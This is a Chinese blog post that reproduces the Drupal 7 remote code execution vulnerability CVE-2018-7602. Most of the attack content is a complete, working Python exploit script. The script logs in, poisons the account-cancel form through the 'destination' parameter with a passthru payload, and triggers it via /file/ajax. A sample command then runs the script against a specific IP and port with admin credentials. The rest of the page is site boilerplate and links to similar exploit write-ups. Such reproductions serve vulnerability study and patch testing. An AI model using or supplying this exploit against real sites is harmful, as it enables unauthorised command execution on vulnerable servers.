漏洞复现-Drupal远程代码执行漏洞(CVE-2018-7602)

这篇具有很好参考价值的文章主要介绍了漏洞复现-Drupal远程代码执行漏洞(CVE-2018-7602)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

描述

Drupal 7.x8.x 的多个子系统中存在一个远程执行代码漏洞。这可能允许攻击者利用 Drupal 站点上的多个攻击媒介,从而导致该站点受到威胁。此漏洞与 Drupal 核心 - 高度关键 - 远程代码执行 - SA-CORE-2018-002 有关。SA-CORE-2018-002 和此漏洞都在野外被利用。

POC

#!/usr/bin/env python3

import requests
import argparse
from bs4 import BeautifulSoup

def get_args():
  parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7602.py",
                    formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
                    epilog= '''
                    This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58
                    using an valid account and poisoning the cancel account form (user_cancel_confirm_form) 
                    with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax).
                    ''')

  parser.add_argument("user", help="Username")
  parser.add_argument("password", help="Password")
  parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
  parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
  parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
  parser.add_argument("-x", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
  args = parser.parse_args()
  return args

def pwn_target(target, username, password, function, command, proxy):
  requests.packages.urllib3.disable_warnings()
  session = requests.Session()
  proxyConf = {'http': proxy, 'https': proxy}
  try:
    print('[*] Creating a session using the provided credential...')
    get_params = {'q':'user/login'}
    post_params = {'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'}
    print('[*] Finding User ID...')
    session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
    get_params = {'q':'user'}
    r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
    soup = BeautifulSoup(r.text, "html.parser")
    user_id = soup.find('meta', {'property': 'foaf:name'}).get('about')
    if ("?q=" in user_id):
      user_id = user_id.split("=")[1]
    if(user_id):
      print('[*] User ID found: ' + user_id)
    print('[*] Poisoning a form using \'destination\' and including it in cache.')
    get_params = {'q': user_id + '/cancel'}
    r = session.get(target, params=get_params, verify=False, proxies=proxyConf)
    soup = BeautifulSoup(r.text, "html.parser")
    form = soup.find('form', {'id': 'user-cancel-confirm-form'})
    form_token = form.find('input', {'name': 'form_token'}).get('value')
    get_params = {'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + function + '&q[%23type]=markup&q[%23markup]=' + command }
    post_params = {'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}
    r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
    soup = BeautifulSoup(r.text, "html.parser")
    form = soup.find('form', {'id': 'user-cancel-confirm-form'})
    form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
    if form_build_id:
        print('[*] Poisoned form ID: ' + form_build_id)
        print('[*] Triggering exploit to execute: ' + command)
        get_params = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}
        post_params = {'form_build_id':form_build_id}
        r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)
        parsed_result = r.text.split('[{"command":"settings"')[0]
        print(parsed_result)
  except:
    print("ERROR: Something went wrong.")
    raise

def main():
  print ()
  print ('===================================================================================')
  print ('|   DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602)     |')
  print ('|                                   by pimps                                      |')
  print ('===================================================================================\n')

  args = get_args() # get the cl args
  pwn_target(args.target.strip(),args.user.strip(),args.password.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())


if __name__ == '__main__':
  main()

复现过程

-c 后面接命令,紧随账号,密码

python3 drupa7-CVE-2018-7602.py -c "ls /tmp" admin 123456 http://123.58.224.8:47582

drupal漏洞,漏洞复现,安全,web安全,java
drupal漏洞,漏洞复现,安全,web安全,java文章来源地址https://www.toymoban.com/news/detail-596143.html

到了这里,关于漏洞复现-Drupal远程代码执行漏洞(CVE-2018-7602)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包赞助服务器费用

相关文章

  • [ vulhub漏洞复现篇 ] Drupal<7.32 Drupalgeddon SQL注入漏洞(CVE-2014-3704)

    👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~ ✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋 🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋 🙏作者水平有

    2023年04月14日
    浏览(6)
  • Spring Data Commons远程命令执行漏洞复现(CVE-2018-1273)

    Spring Data Commons远程命令执行漏洞复现(CVE-2018-1273)

    一、漏洞说明 Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。此漏洞产生于Spring Data Commons组件,该组件为提供共享的基础框架,适合各个子项目使用,支持跨数据库持久化。 Spring Data Commons组件中存在远程代码执行

    2024年02月09日
    浏览(11)
  • Office远程代码执行漏洞(CVE-2017-11882)漏洞复现

    Office远程代码执行漏洞(CVE-2017-11882)漏洞复现

    CVE-2017-11882允许攻击者在当前用户的上下文中运行任意代码,导致无法正确处理内存中的对象,即为“ Microsoft Office Memory Corruption Vulnerability “,栈溢出的远程执行漏洞 该漏洞是在 EQNEDT32.EXE 组件的缓冲区溢出导致。当受害用户打开Office文档时就有可能被漏洞利用,危害极大。

    2024年02月12日
    浏览(11)
  • 漏洞复现 CVE-2023-0297( pyload远程代码执行漏洞 )

    在 addcrypted2() 函数中,对传入的参数 jk 解析后用 eval_js() 作为 JS 语句执行。 利用 JS 中 pyimport 导入 OS 包,执行系统命令(文件操作,进程管理),还可以利用 os.system() 执行 shell 命令。 构建 payload 过程比较简单,只要传入所需的 package, crypted, jk, passwords 四个参数即可,这里

    2024年02月08日
    浏览(6)
  • CVE-2019-0708远程桌面服务远程执行代码漏洞复现

    CVE-2019-0708远程桌面服务远程执行代码漏洞复现

    1、相关简介 Windows再次被曝出一个破坏力巨大的高危远程漏洞CVE-2019-0708。攻击者一旦成功利用该漏洞,便可以在目标系统上执行任意代码,包括获取敏感信息、执行远程代码、发起拒绝服务攻击等等攻击行为。2019年5月14日微软官方发布安全补丁,修复了windows远程桌面服务的远

    2024年02月10日
    浏览(9)
  • CVE-2019-11043(PHP远程代码执行漏洞)复现

    CVE-2019-11043(PHP远程代码执行漏洞)复现

    今天继续给大家介绍渗透测试相关知识,本文主要内容是CVE-2019-11043(PHP远程代码执行漏洞)复现。 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强调:严禁对未授权设备进行渗透测试! CVE-2019-11043漏

    2024年02月06日
    浏览(9)
  • PhpMyAdmin远程执行代码漏洞复现 (CVE-2016-5734)

    0x01 漏洞介绍 phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。 phpMyAdmin 中存在安全漏洞,该漏洞源于程序没有正确选择分隔符来避免使用 preg_replace e 修饰符。 可借助特

    2024年02月11日
    浏览(9)
  • [漏洞复现] jenkins 远程代码执行 (CVE-2019-100300)

    [漏洞复现] jenkins 远程代码执行 (CVE-2019-100300)

    拥有Overall/Read 权限的用户可以绕过沙盒保护,在jenkins可以执行任意代码。此漏洞需要一个账号密码和一个存在的job。 Jenkins的pipeline主要是通过一个配置文件或者job里面的pipeline脚本配置来设定每个job的步骤. pipeline定义了几乎所有要用到的流程, 比如执行shell, 存档, 生成测试

    2024年02月16日
    浏览(9)
  • 复现CVE-2022-10270(向日葵远程代码执行漏洞)

    复现CVE-2022-10270(向日葵远程代码执行漏洞)

    目录 引言 漏洞描述 影响版本: 原理: 环境搭建 手动复现 脚本复现 修复建议         本文内容仅供学习参考,若读者利用本文内容做出违法行为,笔者不提供担保!!!         向日葵是一款免费的,集远程控制电脑手机、远程桌面连接、远程开机、远程管理、支持

    2024年02月07日
    浏览(11)
  • 【漏洞复现】Microsoft Office MSDT 远程代码执行漏洞 (CVE-2022-30190)

    【漏洞复现】Microsoft Office MSDT 远程代码执行漏洞 (CVE-2022-30190)

    0x01 Microsoft Office Microsoft Office是由Microsoft(微软)公司开发的一套办公软件套装。常用组件有 Word、Excel、PowerPoint等。 0x02 漏洞简介 该文档使用 Word 远程模板功能从远程网络服务器检索 HTML 文件,该服务器使用 ms-msdt MSProtocol URI 方案加载代码并执行 PowerShell,禁用宏,仍能通过

    2024年02月05日
    浏览(8)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包